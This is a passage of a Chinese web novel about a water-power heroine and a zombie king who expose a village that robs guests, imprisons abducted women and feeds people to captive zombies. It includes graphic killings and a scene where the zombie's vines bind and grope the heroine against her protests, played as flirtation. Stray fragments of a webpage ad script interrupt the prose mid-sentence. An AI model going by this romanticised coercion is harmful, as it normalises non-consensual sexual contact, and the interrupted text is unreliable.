颜枝看向阿晟,微微难过:“这么小的孩子就会偷人东西,听他那番话,整个山庄的人都将此习以为常。” 想到那杀人抢妻的杨家兄弟,难以想象成年人又会做出怎样惊涛骇浪的事情。 丧尸王看着人类苦恼的模样,抬起手。 抚平她的眉头。 安慰道:“将……他们……都杀光……” 颜枝哭笑不得。 但好在愁闷的情绪消散了几分。 她推推阿晟:“走吧,去泡温泉,这不就是来这里的目的。” 阿晟盯着她,点点头。 颜枝往左边走去,听见脚步声,她无奈地转头。 果然是那个丧尸王。 他一本正经地跟着她。 见颜枝停下脚步,他还疑惑地看了过来。 似乎在困惑她为什么不走。 颜枝指着另一头:“这是女浴,那边是男浴。” 阿晟看了她几秒,见女子态度坚决,终于转身离开。 颜枝呼了口气。 她脱掉衣服,赤脚下了水。 温度适宜的水漫过身子,将一身的疲倦都洗了去,颜枝惬意地闭上眼,呼了口气。 正放空想事情之际,颜枝感觉长时间一个姿势有点太难受,抖了抖胳膊,睁开眼换了个姿势,抬头便发现一枝藤蔓站在不远处,不知看了有多久。 “阿晟!!!” 颜枝崩溃地喊道,连忙伸出胳膊找衣服往身上套。 另一边的男浴。 闭着眼的阿晟忽然仰了仰头,鼻间闻到一股血腥味,鼻尖流出了两道血。 他将藤蔓唤了回来。 忽然伸手掐了掐藤蔓的尖。 藤蔓瑟缩了一下。 “孟浪。” 藤蔓不服气道:“装什么正人君子!我们可都是你的化身,倘若不是你心里的yu望,我们怎么会实践出来。” 旁人都以为他有植物异能,其实不然,这些藤蔓是他的化身,能帮他杀人,也能反映他内心最深处的想法。 现在被这藤蔓直接道明,阿晟忽然有些语塞, 他拍了拍藤蔓的头。 “回去。” 藤蔓晃了一下,似乎在反抗他的专横。 “你日日夜夜都与她一起,你说说,多久没把我们放出来了。” 想了想,又补充道:“除过想杀人的时候,才能想起我们!那些人身上臭的要命,我们感觉自己都臭烘烘的!” 阿晟想了想,将 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 藤蔓唤了出来。 “洗……干净……” 只见池中一男子闭目养神,温泉盖过了他的身子,而他的身旁,竟有十几枝藤蔓泡在水中。 它们皆缩的小小的,但又好像下一刻,便会放大成木桶状。 * 泡过温泉后,颜枝一直都不理阿晟。 阿晟拽她,也不理。 跟她说话,也不理。 丧尸王的好脾气一下子就消散了。 这个人类真是恃宠而骄。 他磨着牙,眼里浮现一抹杀意。 颜枝看到了,她一下子泪花就出来了。 她转过身不看他。 “现在终于忍不住了是吧,要吃我了是吧,要吃赶紧吃!” 丧尸王愣了一下,没开口。 老实说,他将这个人类留着,就是要当储藏粮的,这个人类身上很香,每每便迷的他头晕目眩的,只是这人类太瘦了,他总觉得一口下去便没了, 后来她唤来的水很干净,弄的他很舒服。 丧尸王舒服了,便准备暂时不吃这个人类了。 现在她弄的自己不舒服了,他应该吃掉她的。 但是阿晟莫名有些犹豫。 他拉了拉颜枝的胳膊。 “不吃……你了……”” 女子刚泡过温泉,身上香香的,一凑近,那香味便直冲鼻尖。 阿晟将人拉过来,埋在她的手臂上。 “不吃……了……让我……闻闻……” 颜枝又哭了。 她啪的一巴掌打在阿晟的身上。 丧尸王皮糙肉厚的,一点儿感觉都没有,又继续埋着。 忽然听见外面有人喊道:“来客人了,来客人了。” 颜枝像找到救命稻草一样,伸手拍了拍他的胳膊。 “让我出去。” 丧尸王闷闷不乐地放开她。 望着她迫不及待离开的身影。 他想道,真想把这个人类锁在原来的那个小屋中。 原本只有他们两个人,自从出来后,她又是跟这个人说话,又是跟那个人说话,将他忘掉了脑袋后面。 此刻。 他发出了跟藤蔓一样的控诉。 只有杀人的时候才能想到他! 颜枝本是想逃离丧尸王的埋吸,但是一出来看见来的人,她便愣住了。 顾朗看着她,惊愕道:“竟然是你。” 他眼中的情绪很复杂。 杨康立马跑过来,扑进她怀里。 泪眼汪汪:“姐姐,你没死,真是太好了。” 颜枝摸摸他的头,心里有点感动。 但是一道声音传来,顿时破坏了这个场面。 来人恶狠狠道:“你这个建人竟然还活着!真是建人有建福!小瞧你了。” 话落,顾朗立马瞪向他:“杨眈!” 杨眈哼了一声。 轻蔑地看向颜枝。 颜枝看到他,脑海里浮现出自己被他推进丧尸潮的场景,心里一抖,恐惧感从心头涌出。 她以为她会不在意的。 但是事实告诉她,她永远都不会释怀。 她没看他,问杨康:“你们怎么来这了?” 顾朗答道:“我们去c基地的路上,粮食不够吃了,途径此地,便来此避难。” 颜枝点点头。 杨眈看着二人的场面,忽然讽刺一笑。 “真是有手段,我说顾哥怎么看我百般不顺眼,原来是你俩勾搭上了,真是小瞧你啊颜枝。” 9. 触手丧尸王 闻言,颜枝讽刺地勾起唇角,始终没看杨眈一眼,她拉着杨康的手,往房子中走。 望着女子离去的背影,杨眈仿佛一拳打在了棉花上,他恨恨地呸了一声。 “装腔作势。” 抬头便看见顾朗深深的目光。 杨眈移开目光,大步往租住的屋子中走。 心中一团怒火升起,他看重顾朗队伍的实力,能给自己带来巨大利益,现在倒好,几个活着的异能者开着车跑了,将物资一扫而光,他顾朗竟然还在那个小贱人面前装腔作势,装什么伪君子。 想到颜枝,杨眈嘴角勾起笑容。 怒火总归是要消的,像颜枝这样弱小又可怜的家伙,最适合用来灭灭他的火。 屋中。 丧尸王抿唇,冷着脸,冷冷地盯着面前的小孩。 一会没看着,出去就带回来了一个拖油瓶。 他又看向颜枝。 磨了磨牙。 杨康吓了一跳。 面前这人眼珠竟然是灰色的! 跟丧尸一样。 但这行为举止跟丧尸又不同。 他贴近颜枝,小声道:“姐姐,他是你养的丧尸吗?” 颜枝语塞。 考虑到阿晟外表与常人的差异,她用化妆品给阿晟抹上,总算勉强将那灰色的皮肤盖住,可颜枝没有戴美瞳的习惯,那眼珠她实在是无能为力。 好在一路上并没有人生疑,没想到被这小孩一眼就猜中了。 颜枝心中一惊,但还是装作意外的表情,问道:“小康,你说什么呢,我哪有这么大的胆子,我不被丧尸吃了就算好的了。” 杨康松了口气。 他转了转眼珠,又悄咪咪道:“我知道了,那他就是你养的小白脸。” 既然不是丧尸,又不像混血的样子。 那肯定就是爱打扮自己,到了末世还不忘戴美瞳,不是小白脸是什么。 颜枝噗嗤一笑。 望着杨康疑惑的眼神,她点点头:“就是你想的那样,但是可千万不要给他说哦,毕竟要顾忌人家的尊严。” 自己的人类跟一个小屁孩悄咪咪地咬耳朵,还时不时偷瞄阿晟。 丧尸王怒了。 他拉过颜枝,将人拉到自己的怀里。 冷冷地看向杨康:“滚─” 眼中杀意顿现。 杨康一下子被吓到了,但是想到方才与颜枝的交谈,他咽了一下口水,努力昂起脑袋。 “滚就滚,我才不打扰你们。” 他一溜烟便跑了出去。 丧尸王的火气这才消散。 他看向怀里偷笑的人类。 抿唇不悦道:“烦。” 颜枝摸摸他的脸。 支支吾吾道:“……我想把他带上。” 说完她就躲到丧尸王的怀里,不敢抬头看他。 果然,对方脸色顿时不太好了。 阿晟没说话,但颜枝能感觉到他的抗拒。 她抬头,亲亲他的脸。 “我知道你不高兴,但是那个小孩之前帮过我,而且他现在和两个很坏的人在一起,我不能眼睁睁地看着他受难。” 见丧尸王脸上神情明显缓和。 颜枝心下一动,她缠住阿晟的脖子,声音粘稠:“我知道你最好了,就帮帮我吧。” 阿晟被这人类缠得没脾气了。 他努力抿唇,装出一副生气的模样:“可以……但是……不能……离你太近……” 颜枝立马答应了,眉间都是喜悦。 忽然感觉一片阴影落在自己唇上,颜枝愣住了。 丧尸王不懂这些,他蜻蜓点水,在女子唇上啄了一口。 他眼前又开始迷迷糊糊了。 又香又软。 比亲在脸上还软。 颜枝红了脸。 捂着嘴瞪向阿晟。 这可是她的初吻!竟然就这么给了一只丧尸。 忽然想起他向她讲述藤蔓的罪行,似乎在那时她的初吻便没了…… 阿晟撇开脸不看她,又强制自己转过头盯着她。 藤蔓都可以,他作为主体亲自己的人类一口,又如何。 他严肃道:“以后……每日……都要……亲” 忽然想到什么。 丧尸王又补充道:“亲这……里……” 他点了点颜枝的唇,手下的触感过于松软。 阿晟没忍住,用手按了按,又摩挲到她的唇珠。 颜枝被欺负得眼角都红了。 * 应山庄老板的邀约,他们前去吃饭。 颜枝和阿晟来的较迟了些,到了以后,看到众人纷纷落座。 “真是大忙人啊,让我们在这里等着您。” 杨眈不冷不热地嘲讽出口。 耿老板闻言扯了扯嘴角,连忙招呼人坐下。 “我们山庄有幸来几位贵客,实是蓬荜生辉。今日就让我这位东道主好好招待一下各位。” 顿了顿,他说道:“就吃火锅如何?我们这里还有些火锅底料。” “吃火锅好!我好久没吃过了,有了贵客就是不一样啊!” “这几日泡面快把我吃的要吐了,终于能改善伙食了!” 后面坐着的几个村民兴奋道。 耿老板咳嗽几声,他们顿时不言了。 耿老板又看向几位。 颜枝眼睛亮晶晶的,想到火锅,她咽了下口水。 自从末世到来,她一路逃亡,每天就靠吃一点饼干苟活,与丧尸王相伴后,终于能吃上差不多的食物了,但火锅的滋味,已忘的差不多了。 她看向旁边的阿晟,男人对此毫无反应。 颜枝悄悄与他咬耳朵:“你喜欢吃火锅吗?” 丧尸王看向她:“火锅……是……什么?” 颜枝惊愕地看向他:“第一次见面你不是给我煮了一碗面吗?” 都会煮熟食,怎么可能会不知道火锅是什么东西。 他该不会在跟她开玩笑吧。 丧尸王抿唇:“那……是别人……给的……” 颜枝偏过头。 哦。 又是抢的啊。 杨眈可看不惯他们几人装模作样,他一拍桌子:“快点!我们要吃火锅!” 耿老板脸色不变,笑意盈盈道:“这是自然这是自然。” 只见几个村民端来一个大锅,分为两个锅底,一个麻辣锅,一个番茄锅,恰好地照顾了客人们的不同口味。 锅底刚端上来,火锅的香气便扑鼻而来。 牛肉,羊肉卷,生菜,蟹柳……在这个泡面都尤为珍贵的末世,这些东西实在是奢侈。 众人直勾勾地盯着。 “咕咚……” 口水声此起彼伏。 耿老板爽朗笑道:“大家快吃吧。” 杨眈一秒也等不了,筷子在锅中搅地飞快。 顾朗悄悄别开眼,蹙眉。 他这模样实在是不雅观,明明是异 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 能者,竟这样狼狈,难免会被人家看扁。 颜枝用筷子叉起一片牛肉,沾满酱料,放在阿晟的碗中。 丧尸王没说话,翘起嘴角。 将牛肉放进口中。 其实他没有告诉颜枝,作为丧尸,哪怕他等级很高,但人类的食物对他来说依然没滋没味,吃下去一点用都没有。 但是既然这个人类这么照顾他,他就勉强配合一下了。 颜枝又唤杨康过来。 杨康脸上一喜,噔噔噔跑过来,刚想坐在颜枝旁边,便看见那个小白脸冷冷地看着他,别说,那双灰眸真的挺瘆人的。 杨康身子一僵,坐在距离颜枝旁边的旁边。 颜枝用筷子叉起一块羊肉卷,放进他的碗里。 杨康眼睛一亮,笑嘻嘻道:“谢谢姐姐。” 颜枝投喂完毕,终于轮到自己吃了。 她拿筷子叉菜,只是,她叉起一个鹌鹑蛋,便被另一双筷子捷足先登;颜枝没在意,又叉起一块牛肉,那双筷子又过来了。 颜枝瞪向那个主人。 丧尸王正往嘴里塞那片牛肉,他眉眼冷淡,但颜枝硬是瞧出几分挑衅的意味。 “怎么了,又不高兴了?” 这话到了丧尸王耳中便成为了——“你脾气怎么这么不好,烦死了!” 丧尸王冷着脸,晦暗的灰眸看向这个可恶的人类。 给别人夹菜,他还没生气呢,这个人类竟然还敢嫌弃他脾气不好。 耿老板看到这一幕,心领神会地笑笑:“你们夫妻二人感情可真好。” 顾朗一愣,嘴里香辣的肉忽然没了味道。 颜枝甜甜地笑笑,一副不好意思的样子。 “哼,什么夫妻,我看是颜枝新找到的靠山吧。” 杨眈不屑道。 这话在大厅中极为刺耳。 耿老板笑容一僵,和气道:“大家都是客人,都是我耿俞昌的贵客,别伤了和气。” 杨眈站起身,轻蔑道:“耿老板你是有所不知,颜枝这女人水性杨花,颇有心机,以前就害的一个二级异能者送命,现在又勾搭上新男人了。” 他又看向阿晟:“我说兄弟,你也听到了,别怪我不提醒你,趁早赶紧脱身吧,要不然害的你命都得丢!” 丧尸王正想起身,便被身旁的女子拉住。 “异能者想要qiangjian我,我就必须欢喜吗?” 颜枝抬眸,淡淡地问道。 她坐着,杨眈站着,明明是仰视,却气势十足,倒显得杨眈为弱势了。 杨眈立马坐下,他不屑道:“所以呢?郑文斌能看上你是你的福气!要不然你一个普通人在末世靠什么活!” 他语气嘲讽:“你也就空有一番姿色了,难不成到丧尸面前□□吗?” 杨眈笑出声。 颜枝也不恼,她直勾勾地看着杨眈。 “普通人又如何,普通人就活该被践踏吗?普通人不配拥有尊严吗?” 话落,大厅中的村民颇有感触。 他们就都是普通人,普通人怎么了,他们不照样活得好好的。 杨眈一番话,弄的人们心里生了一根刺,纷纷充满敌意地看向杨眈。 杨眈暗叹不好,咬牙,这颜枝真是会玩弄人心。 耿老板头一次冷了脸:“好了,吃饭便好好吃,再闹下去就是看不起我耿俞昌的面子!” 话落,杨眈只好作罢,埋头吃饭。 只是心中那团怒火越烧越旺。 10. 触手丧尸王 私养丧尸,狼子野心 火锅吃到见底,几人擦了擦嘴。 正欲离开,顾朗首先感觉到不对劲。 他刚起身,便感觉到一阵头晕目眩,他撑住桌子,努力睁开眼。 “是你下了迷药?” 顾朗瞪向坐在主座上笑意盈盈的耿俞昌。 对方点点头,又摇摇头,补充道:“我还让精神系异能者坐在下面偷偷麻痹着你们的神经,好让你们使不出异能来。” 毕竟这群人可都是异能者,哪里是普通的迷药便能放倒的。 顾朗咬牙道:“卑鄙!” 紧接着其他几人也开始头晕了,纷纷直不起身。 耿俞昌好奇地看向坐的端正的灰眸男人。 旁人都晕的东倒西歪的,只有他面色不改,阿晟搂住颜枝的腰,固定住她,不让她往下倒。 “你怎么没事?” 丧尸王抬眸:“雕虫……小技……” 耿俞昌挑眉:“无妨。” 他勾勾手指,后面的村民纷纷上前。 村民们面色贪婪。 “这群人物资可多了,这次赚大发了。” 一批人跑去他们的房子中搜,剩下一批人留下来搜身。 他们几人都坐倒在地上,四肢无力,异能强撑着维持神志的暂时清明。 那些普通人过来搜身,也没有办法反击。 唯一清明的人只搂着那女子,有人过来时,便会被藤蔓绞死,吓得村民纷纷不敢上前,旁人却是丝毫不在意。 颜枝努力睁大眼睛,想到山庄的繁荣,村民的称赞,耿俞昌的平和。 她困惑问道:“为什么?” 耿俞昌面露怜悯:“可怜死了,我就宽容大量地告诉你们吧。我们这个山庄可从来都不是什么世外桃源,我们这里啊,专干些杀人越货的勾当。” 颜枝扯了扯嘴角,忽然想到杀人夺妻的杨家父子,抢她包的小男孩。 她早该想到的。 她看到了山庄的晦暗处,却想不到,那明亮的地方也是被掩盖住的黑暗。 村民们激动地将东西搬来。 “颜小姐的包里竟有十几枚晶核!” 耿俞昌眼睛一亮。 “那两个新来的外来者真是个穷光蛋!竟是除过给我们租金的食物,一毛不拔!我呸!” 几个村民上前踹了顾朗和杨眈一脚。 耿俞昌转过身,哈哈大笑。 “今日,便是我圆满之日。” 村民们闻言,有些奇怪,今日虽然收获不少,但比起之前,也差不了多少,老板为何忽然说这么奇怪的话。 耿俞昌面色发冷,平日里看着和善的脸隐隐带着阴狠。 他起身走到一块凸起的地方,“吧嗒”一声,门开了。 后面竟是有一个密室。 紧接着,一声嘶吼声响起。 众人脸色大变。 这、这是丧尸的声音! 一只青色皮肤,满目獠牙的怪物跑了出来。 他怒吼着。 耿俞昌面色温柔:“我的好宝贝,快去将那群人都吃了,你就能突破等级了。” 村民们是普通人,看不出来,只知道是只丧尸,立马吓得屁滚尿流地往外逃。 只是还没跑多远,便被那只丧尸撕咬着,进了肚子。 残留的胳膊,腿掉落在地上。 丧尸大吼一声,血腥味激起它内心的暴虐。 顾朗神色一变:“以我的等级,竟看不出这只丧尸的等级,最起码有四级!” 他努力起身,但仍是无效。 四级! 此言一出,众人心生绝望。 颜枝感觉到身后传来的阵阵异能,体内的迷药渐渐消散。 她靠着后面的丧尸王。 悄咪咪道:“四级丧尸,有把握吗?” 阿晟一边为颜枝传输着能量,一边专注地看向那只发狂的丧尸:“我……是五级……可以一试。” 颜枝心头一松。 阿晟跃了过去,正对那只四级丧尸。 颜枝也迅速起身,她凝聚起异能,如今她也是三级异能者了,那老板同为三级,可与一战。 强大的水柱放出,耿俞昌一惊,堪堪避开。 这女人竟然还能起身。 他面色一狠,手下的土盾放出。 两人打斗之际,颜枝忽然看向不甘倒在地上的顾朗。 颜枝咬牙,手下异能凝聚到最大,心中祈祷着,正巧那边阿晟将那丧尸打得一条胳膊掉落,虽然丧尸的四肢可以再生,但这也反映出那丧尸不敌阿晟。 颜枝心中一喜,与之相反,耿俞昌心里慌乱,手下便忘了招式。 颜枝那一击狠狠打在耿俞昌身上,耿俞昌吃痛,后退着吐了一口血。 顾朗感觉到身体内异能的输送,他惊愕地看向身后。 颜枝输送后,面色略微苍白,她将一块一级晶核抛给了顾朗。 顾朗感觉到异能的恢复,不敢耽误,连忙吃下了那块晶核,异能彻底恢复。 两人迅速跑到耿俞昌面前,合力出击。 两个三级异能者的攻击,耿俞昌自然抵抗不住。 他大吐了一口血。 面色怨恨。 他吹了一声口哨。 便见那密室中跑出来好几只丧尸。 足足有五只,三只一级丧尸,两只二级丧尸。 颜枝心中一惊,这耿俞昌私自养丧尸,竟不止一只,真是狼子野心。 余光与顾朗对视上,便知晓他也是这个想法了。 颜枝放出水柱,顾朗同样不甘示弱,放出雷电,三只一级丧尸当场殒命。 两人齐心协力对付剩下这两只二级丧尸。 颜枝忽然瞳孔放大。 只见耿俞昌如鬼魅般出现在顾朗身后,手下的土盾凝聚,眼见就要打上顾朗的后背,颜枝咬牙,连忙放出水柱与土盾相抵。 顾朗心悸,眼神复杂地看向颜枝。 “专心。” 顾朗这才收回心,手下的雷电狠狠地打向耿俞昌。 耿俞昌本就重伤,此时更是抵抗不了,他吐出一口血,跌倒在地上,双目不甘心地瞪大。 颜枝松了一口气。 背后却忽然传来一阵力道。 “颜枝,我现在就送你这个贱女人下地狱!” 杨眈恶意喊道。 颜枝抿唇,第二次了。 她眼中发狠。 她再也不是之前那个任人宰割的颜枝了。 颜枝踮脚,转了个弯,冷冷地看着杨眈,反手将他推向了那两只二级丧尸中。 杨眈异能施展不出来,此时就与普通人无异。 他再怨恨,再不甘,也只能被丧尸撕咬成碎片。 颜枝看着他。 轻声道:“是你自找的。” 再也不会有人对她说——“郑文斌看上你是你的荣幸,不要不识好歹。” 颜枝转头看了一眼阿晟那边,四级丧尸被打得节节败退,但阿晟也不是很轻松的模样。 丧尸王眼里满是嫌恶,显然又是洁癖发作了。 但眼前这个丧尸却实在难缠,无法一击毙命。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 颜枝看向顾朗:“这两只丧尸交给你,可以吗?” 顾朗点点头。 想问她要去干嘛,但话到嘴边又咽了下去。 果然,颜枝立马跑到那男人身旁。 双手凝聚出水柱,帮他一起杀那只四级丧尸。 顾朗眼睛一暗。 又专注地杀这两只丧尸。 阿晟感觉到女子的到来,脸上嫌恶的表情缓和。 那四级丧尸也是个有脑子的,见阿晟这边打不过,就往实力弱的颜枝这边打。 四级与三级,虽只差一级,但等级之间的沟壑如峰谷,难以跨越。 眼见那致命的一击就要落在颜枝身上。 丧尸王面上镇静荡然无存,这只恶心的丧尸竟然敢杀自己的人类,该死! 一直洁癖发作,不想沾染上血迹的丧尸王终于施展出全力,他灰色的眼瞳悄然变成红色。 五级丧尸王的气息令四级丧尸动作一滞,眼里闪过恐惧,下一刻,便被丧尸王撕碎。 黑色的血迹喷洒在阿晟身上。 丧尸王身子隐隐颤抖。 颜枝看出不对劲,立马放出水柱喷洒在阿晟身上。 她仔细地将他身上的血迹一一洗干净,丧尸王终于缓和下来。 另一边,顾朗也成功解决了。 他擦了擦脸上的血迹,犹豫地看向颜枝。 “谢谢你。” 颜枝应了一声。 过去将彻底晕倒在地上的杨康扶了起来。 见人类又搂上那个小屁孩了,丧尸王幽幽的目光看了过去。 颜枝手一僵,又唤顾朗:“你把他抱回去可好?” 顾朗过来将杨康抱起来。 丧尸王过来拉颜枝,两人正准备走之际,便听见身后传来顾朗的声音:“我一直欠你一句道歉,那天你被杨眈推下去……” 颜枝打断了他的话。 “过去的事便不要提了,我已经不在意了。” 顾朗心里黯然。 他抬眼看向前方。 她身旁的男人此时似乎又吃醋了,步履不停,也不理颜枝,颜枝却见怪不怪,跟在他旁边。 顾朗却清楚地看到。 那男子察觉到她的到来后,不经意间放慢了脚步,好让那女子轻松地跟上他。 * 颜枝带着丧尸王往村民家中走。 丧尸王偏头看她:“去哪……里……” 颜枝认真道:“这个山庄背后的真相这般黑暗,自然还有更多我们不得知晓的事情,我要去看看,是否与我心中的猜测一致。” 阿晟点点头。 “我……也要……去……做一件事情……” 颜枝惊讶他第一次要和她分开,又觉得自己这个想法很奇怪。 她不自在地咳嗽一声。 “那好,我们兵分两路,一会汇合。” 颜枝步履不停,想到心中那个猜测,她打开第一家门,在墙的后面发现了地窖,将里面疯疯癫癫的女人放了出来。 她心一沉。 在后面她走了十家中,竟有七家都藏有地窖,里面皆有抢来的女人与物资。 顾朗与她凑巧又碰上了。 二人神情都很凝重。 顾朗看向这一幕,喟叹道:“竟是这样的‘世外桃源’。” 有几个还算清醒的女人,可能被抢来的时间不久,她们激动地看着颜枝。 颜枝蹲下身,将物资递给她们。 “你们自由了。” 女人们愣了愣,忽然泪流满面。 11. 触手丧尸王 前去吃火锅的村民只有部分人,其他人都惊恐地看着他们翻箱倒柜,却无法阻止。 有胆大的人见自己拐来的媳妇被放跑,梗着脖子喊道:“少多管闲事!” 顾朗冷冷地瞥了一眼他们,村民又立刻低下头,不敢反驳。 老板和山庄里仅有的异能者都被杀死了,这群外来者可不好惹,他们这群狐假虎威的普通人又有何办法阻止。 颜枝抬眼,忽然看见老阿婆颤颤巍巍地走来。 “阿婆。” 老阿婆看向她,颇有些不可置信:“你杀了耿老板?” 颜枝想要握住她的手,却被她甩开。 颜枝抿唇道:“他不是好人。” 她想了想,目光如炬:“我猜,山庄中杀人越货,强抢女子的事情,阿婆也应当知晓。” 老阿婆张了张嘴,没说话。 事实便是如此。碧落温泉山庄看着岁月静好,实则干得都是见不得人的勾当,但是他们也是没办法啊。 末世到来,他们这群普通人又怎么存活。 老阿婆哑着嗓子,声音嘶哑难听:“可耿老板真真正正地庇护了我们这群普通人。” 颜枝看向她,认真道:“你可知耿俞昌的真正意图是什么?” 闻言,老阿婆迷茫地看着她。 “他背地里建了一间密室,里面养着丧尸,足足有六只,其中更是有一只四级丧尸。” 老阿婆瞪大眼睛。 颜枝继续道:“你猜,他是用什么供养着丧尸呢?” “来此借住的异能者,普通人,亦或是——” “当地的村民。” 老阿婆脸色大变,她想起来了。 外来者的到来,会给山庄带来丰富的物资,甚至可以给山庄中的男子娶妻,但当那些外来者的利用价值被榨干后,那些人却无影无踪,谁也不知道他们的结果是什么,当然也无人在意。 但山庄中却偶尔会有人失踪。 她记得第一个失踪的是她的邻居,那个男人看着身强体壮的,却忽然不见了,有人说是心野,要出去杀丧尸,结果被丧尸吃掉了。 时隔两周,第二个失踪者是老冯家的儿子。 后来失踪的人越来越多,无一不相隔两周的时间,但早已无人理会了。 看着老阿婆失魂落魄的模样,颜枝便知晓她懂得她的意思了。 “您接下来要去哪?C基地强大安稳,适宜安居。” 老阿婆摆摆手,转身离开。 “我这把老骨头就不瞎折腾了,我能死在这山庄里,便幸福了。” 颜枝沉默地看着她的背影。 顾朗站在她身旁,拍了拍她的肩膀。 颜枝惊讶地抬眼看他,脚下不动声色地往旁边迈了几步。 她向山庄口走去。 阿晟还在那里等着她汇合呢。 顾朗攥紧手心,失意地低下头。 刚出村民家门,便看见一个小身影蹦蹦跳跳地扑到颜枝怀里。 “姐姐!” 颜枝摸摸他的头。 “醒了?” 她眼里带有笑意。 杨康不好意思地挠挠头,他是在场唯一一个普通人,刚中迷药就晕倒了,醒来后听见发生的事情,惊讶得嘴都合不拢。 又有些失落,姐姐他们都在并肩作战,他什么忙也帮不上。 杨康闷闷道:“姐姐,我是不是很没用啊。” “我以前也是一个很没用的人。” 颜枝放空思绪。 男孩嘴角往下,眼泪就要出来了。 颜枝看向他:“因为没有异能,我被针对,被指责为什么不靠男人,被人推下丧尸潮……” “我知道弱小就要挨打,小康,我无法一直护着你,所以你要自己成长,变得强大,才能保护自己,保护自己所爱之人,你知道吗?” 杨康眼泪垂到一半,使劲地点点头。 “但是我现在还没有异能……” 颜枝从包里取出一个鸡蛋,递给他。 “你现在还小,以后总会有的,别哭了,吃了就开心了。” 女子忽然偷偷笑道:“这可是第一个给你的哦,阿晟还没吃到呢。” 杨康一听,立马开心了。 他可是姐姐第一个给鸡蛋吃的人,那个小白脸都轮不上呢。 颜枝拉着他往山庄口走。 “小康,你愿意与我相伴吗?” 杨康坚定地点点头。 “愿意!我会变得强大,保护好姐姐!” 颜枝笑了笑,想到什么,她说道:“一会看见阿晟了,就不能拉你了啊。” 杨康闷闷地应了一声。 这个小白脸真讨厌!每次因为他,他都不能靠近姐姐。 果然,阿晟已早早地等在路口了。 他看着人类一步步地走向他。 冷脸道:“这么……迟……” 丧尸王在此处已经等了十分钟了,再等下去,他就要进去把人揪出来了。 颜枝没说话,拉着他的手,往车里走。 她已经习惯这个丧尸时不时的耍脾气了,直接不理会就好。 丧尸王冷着脸,被拉上车。 “让……他开……” 男人看向杨康。 “你和我……坐在……后面……” 颜枝哭笑不得。 “他才十三岁,哪里会开车。” “这样吧,我来开车,你们两个坐在后面。” 颜枝在大一时考了驾照,虽然不太娴熟,但还是能开的。 于是,两个互看对方不顺眼的人被迫坐在一起。 阿晟冷冷道:“离我……远点……” 杨康哼道:“我才不要!” 屁股挪得飞快,一直坐到紧紧靠窗那里。 丧尸王看了一眼前面认真开车的女子,故意伸出尖牙,悄悄道:“离她……远点……要不然……吃了你……” 杨康瞪大眼睛。 眼里闪过恐惧。 真的是丧尸! 一路上顺利得不得了,越野车直下高速,竟是连一只丧尸都没看见。 颜枝奇怪地说道:“怎么这么平静。” 平静是好事,但这样平静显然过于诡异了。 要知道这段路可是往日里丧尸出没最多的地方。 想到那只丧尸王,她在后视镜中看他。 “阿晟你知不知道发生了什么事?” 阿晟看了一眼窗外,不太在意。 “马上……要下酸……雨……” 杨康缩在角落,好奇地瞪大眼睛。 颜枝果然追问道:“酸雨与丧尸有什么关联?” “酸雨过后……丧尸便……会……进化……” 颜枝心一沉。 随着异能者等级的提升,丧尸竟也会提升。 现在的丧尸大部分都是手脚笨拙,没有灵智,空有蛮力的,人类尚且能对付得过来,倘若丧尸进化到与人类无异,人类又该怎么办。 难道,世界末日的结局真的无法阻止吗…… 颜枝扼制了自己的悲观想法。 加大车速。 趁着现在安静,要赶紧回到小屋。 此时,外面传来惊雷。 轰隆一声。 杨康被吓得身子一抖。 颜枝抿唇。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>暴风雨来临前的宁静就快要破裂了吗? 回到温馨的小屋,颜枝唤阿晟与杨康,一起将屋子收拾了一下,又放出水柱,彻底做好清洁。 “小康,你便住楼上那间房,好吗?” 颜枝指着二楼一间客房道。 杨康看了下四周,眼里闪过憧憬。 他现在也有家了吗。 见男孩噔噔噔地往楼上跑,颜枝又挽起袖子,进入厨房。 她清洗着西红柿,忽然看见旁边的身影。 颜枝将盆递给他:“把你给忘了,把这个洗一下。” 阿晟老老实实地洗着。 颜枝看到这一幕,忽然憋笑了一声。 余光瞥到男人幽幽的目光,她伸手拿过一个鸡蛋,剥好皮,塞进他嘴里。 鸡蛋滑嫩,吹弹可破。 丧尸王成功被安抚了。 他将西红柿洗好后,见女人又在切豆角。 他有模有样地学着她的样子,也拿过一把刀,虽然笨拙,但颜枝瞄了一眼,竟然切得还不错。 颜枝拍拍他的头,笑道:“乖宝宝。” 丧尸王尖牙露了出来,目光幽邃。 这个人类,现在对他越来越放肆了。 藤蔓拔地而起,将女子的四肢捆住,阿晟也不制止,性质盎然地看着这一幕。 颜枝吓了一跳,连忙说自己错了。 但那藤蔓一直憋着,好不容易被放出来,哪里肯善罢甘休。 眼见那藤蔓的行为越发露骨。 丧尸王的眸色晦暗。 忽然有些口干舌燥。 藤蔓抚弄着她的四肢,进入她的口腔,一枝坏藤蔓忽然往女子腰下面钻,颜枝眼泪掉在眼角,又被一枝藤蔓汲取掉。 丧尸王蹲了下来,将藤蔓收了回来。 藤蔓扭动着,不甘喊道:“放我们回去,干嘛啊!” “太过分了!” 丧尸王抿唇,靠近女子的脸颊,将她掉落的泪珠吃掉。 这些藤蔓分明是他的分身,但是看见他们这样对待自己的人类,阿晟又有些嫉妒了。 丧尸王将女子捞起。 泪眼朦胧的颜枝锤着他的胸膛。 “流氓!浪荡!” 丧尸王将人放在沙发上,想着方才女子的行为。 他手下飞快,不一会儿,便将豆角切好了。 阿晟愣住了。 他探头看向沙发上坐着的女子。 “怎么……弄……” 颜枝哼了一声,偏头不理他。 好在杨康又噔噔噔跑下来了。 见一只吃人的丧尸竟然在厨房做饭,他惊愕地瞪大眼睛。 阿晟看见这个小屁孩,勾手让他过来。 杨康退后一步,有些害怕。 终究还是畏惧于丧尸王威胁的眼神,犹豫地上前了。 对于一只丧尸让他教做饭,杨康还是觉得有些难以接受了。 他说自己做就好,便见那只丧尸执意要自己亲手做,杨康没法,只好教他做了一道简单的西红柿炒豆角。 简单做了两菜一汤,杨康将菜端在桌子上,唤他们来吃饭。 “姐姐,你吃这个。” 杨康给颜枝夹了一筷子土豆丝。 